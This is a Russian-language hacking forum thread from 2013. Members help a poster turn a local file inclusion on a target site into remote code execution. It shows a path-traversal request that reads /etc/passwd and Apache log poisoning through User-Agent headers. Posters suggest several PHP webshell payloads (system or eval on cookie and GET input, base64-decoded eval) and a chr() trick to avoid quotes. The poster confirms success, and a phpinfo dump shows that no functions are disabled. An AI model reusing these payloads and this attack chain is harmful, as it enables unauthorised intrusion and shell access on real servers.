Выполнение кода при php-инъекции

Discussion in 'Песочница' started by Euler, 8 Mar 2013.

  1. Euler

    Euler New Member

    Joined:
    9 Sep 2012
    Messages:
    30
    Likes Received:
    0
    Reputations:
    0
    Доброго времени суток. Дело обстоит так, на сайте обнаружена локальная php-инъекция("http://test4.remotehost/index.php?file=../../../../../../../../etc/passwd%00" выдаёт содержимое "/etc/passwd"). Далее был найден файл конфигурации apache("/usr/local/apache2/conf/httpd.conf"), там был подсмотрен лог-файл, в который записываются все запросы("Referer" и "User-Agent"). Далее я попытался внедрять команды в этот лог файл, но результат меня удивил :) . Запросы передавал через User-agent:
    Code:
    User-Agent: <? echo "test";?> -> приводит к ошибке
    User-Agent: <? print("test");?> -> приводит к ошибке
    User-Agent: <? include("/etc/passwd");?> -> выводит содержимое /etc/passwd
    User-Agent: <? phpinfo();?> -> выводит запрошенную информацию
    User-Agent: <? file_get_contents("/var/www/public_html/test4.remotehost/index.php",false,false,1,1);?> -> приводит к ошибке
    User-Agent: <? $fp = fopen("/var/www/public_html/test4.remotehost/test.txt","w");fwrite($fp,"123");fclose($fp);?> -> ничего не выводится, файл не создаётся
    User-Agent: <? system($_COOKIE[cmd]);?> -> никак не реагирует на запросы независимо от заголовка "Cookie: cmd=..."
    "приводит к ошибке" означает, что лог становится недоступен для чтения через инъекцию. Объясните пожалуйста по какому принципу тут выполняется внедрённый код.
     
  2. FryTvin

    FryTvin New Member

    Joined:
    10 Nov 2012
    Messages:
    15
    Likes Received:
    2
    Reputations:
    6
    Просто стоят ограничения на вывод
     
  3. BigBear

    BigBear Escrow Service
    Staff Member Гарант - Escrow Service

    Joined:
    4 Dec 2008
    Messages:
    1,801
    Likes Received:
    920
    Reputations:
    862
    Попробуй вместо <? [evil]; ?> использовать <?php [evil]; ?>
     
    _________________________
  4. Euler

    Euler New Member

    Joined:
    9 Sep 2012
    Messages:
    30
    Likes Received:
    0
    Reputations:
    0
    Это как? значение "<? echo "test";?>" при выводе эквивалентно простому "test", но только первое приводит к ошибке. Плюс создание файла не работает, тут вывод вообще никаким боком не приписать.
    Пробовал, тоже самое.
     
  5. VY_CMa

    VY_CMa Green member

    Joined:
    6 Jan 2012
    Messages:
    917
    Likes Received:
    492
    Reputations:
    724
    Попробуйте <?php eval(base64_decode('.......'));?>
     
    _________________________
  6. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    User-Agent: <? phpinfo();?> -> выводит запрошенную информацию

    disable_functions

    скинь эту строку
     
    _________________________
  7. Mr.Snuffer

    Mr.Snuffer Member

    Joined:
    2 Jul 2010
    Messages:
    140
    Likes Received:
    13
    Reputations:
    0
    <?eval(base64_decode($_GET[123]));?>

    Попробуй
    Скорее всего все беды из-за ковычек

    хотя стоп, include тоже работает o_O
     
  8. Euler

    Euler New Member

    Joined:
    9 Sep 2012
    Messages:
    30
    Likes Received:
    0
    Reputations:
    0
    весь раздел PHP Core(Master Value везде равено Local Value):
    Code:
    Directive			Local Value
    allow_call_time_pass_reference	On
    allow_url_fopen			On
    allow_url_include		Off
    always_populate_raw_post_data	Off
    arg_separator.input		&
    arg_separator.output		&
    asp_tags			Off
    auto_append_file		no value
    auto_globals_jit		On
    auto_prepend_file		no value
    browscap			no value
    default_charset			no value
    default_mimetype		text/html
    define_syslog_variables		Off
    disable_classes			no value
    [COLOR=Red]disable_functions		no value[/COLOR]
    display_errors			On
    display_startup_errors		Off
    doc_root			no value
    docref_ext			no value
    docref_root			no value
    enable_dl			On
    error_append_string		no value
    error_log			no value
    error_prepend_string		no value
    error_reporting			0
    expose_php			On
    extension_dir			/opt/php/5.2/lib/php/extensions/no-debug-non-zts-20060613
    file_uploads			On
    highlight.bg			#FFFFFF
    highlight.comment		#FF8000
    highlight.default		#0000BB
    highlight.html			#000000
    highlight.keyword		#007700
    highlight.string		#DD0000
    html_errors			On
    ignore_repeated_errors		Off
    ignore_repeated_source		Off
    ignore_user_abort		Off
    implicit_flush			Off
    include_path			.:
    log_errors			Off
    log_errors_max_len		1024
    magic_quotes_gpc		Off
    magic_quotes_runtime		Off
    magic_quotes_sybase		Off
    mail.force_extra_parameters	no value
    max_execution_time		30
    max_file_uploads		20
    max_input_nesting_level		64
    max_input_time			-1
    memory_limit			128M
    open_basedir			no value
    output_buffering		0
    output_handler			no value
    post_max_size			32M
    precision			14
    realpath_cache_size		8M
    realpath_cache_ttl		120
    register_argc_argv		On
    register_globals		Off
    register_long_arrays		On
    report_memleaks			On
    report_zend_debug		On
    safe_mode			Off
    safe_mode_exec_dir		/usr/local/php/bin
    safe_mode_gid			Off
    safe_mode_include_dir		no value
    sendmail_from			no value
    sendmail_path			/usr/sbin/sendmail -t -i 
    serialize_precision		100
    short_open_tag			On
    SMTP				localhost
    smtp_port			25
    sql.safe_mode			Off
    track_errors			Off
    unserialize_callback_func	no value
    upload_max_filesize		32M
    upload_tmp_dir			no value
    user_dir			no value
    variables_order			EGPCS
    xmlrpc_error_number		0
    xmlrpc_errors			Off
    y2k_compliance			On
    zend.ze1_compatibility_mode	Off
     
    #8 Euler, 9 Mar 2013
    Last edited: 9 Mar 2013
  9. Euler

    Euler New Member

    Joined:
    9 Sep 2012
    Messages:
    30
    Likes Received:
    0
    Reputations:
    0
    Хм.. Так всё работает, даже без base64...
     
  10. GTAlex

    GTAlex New Member

    Joined:
    7 Sep 2009
    Messages:
    48
    Likes Received:
    0
    Reputations:
    0
    Дело было в кавычках! 100%
    У меня сейчас похожая проблема, за исключением того, что я GET передать не могу :(
    Мне без кавычек нужно исполняемый код без кавычек (желательно формирование файла шелла) - чешу репу ...
     
  11. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    eval($_COOKIE[cmd]) чем не шелл
     
    _________________________
  12. GTAlex

    GTAlex New Member

    Joined:
    7 Sep 2009
    Messages:
    48
    Likes Received:
    0
    Reputations:
    0
    Решил проблему с помощью chr()
    Подробнее тут
     
  13. t0ma5

    t0ma5 Reservists Of Antichat

    Joined:
    10 Feb 2012
    Messages:
    829
    Likes Received:
    815
    Reputations:
    90
    да можно и через chr
     
    _________________________
Loading...
Similar Threads - Выполнение кода инъекции
  1. raarkil
    Replies:
    4
    Views:
    6,182
  2. Flashid
    Replies:
    6
    Views:
    3,127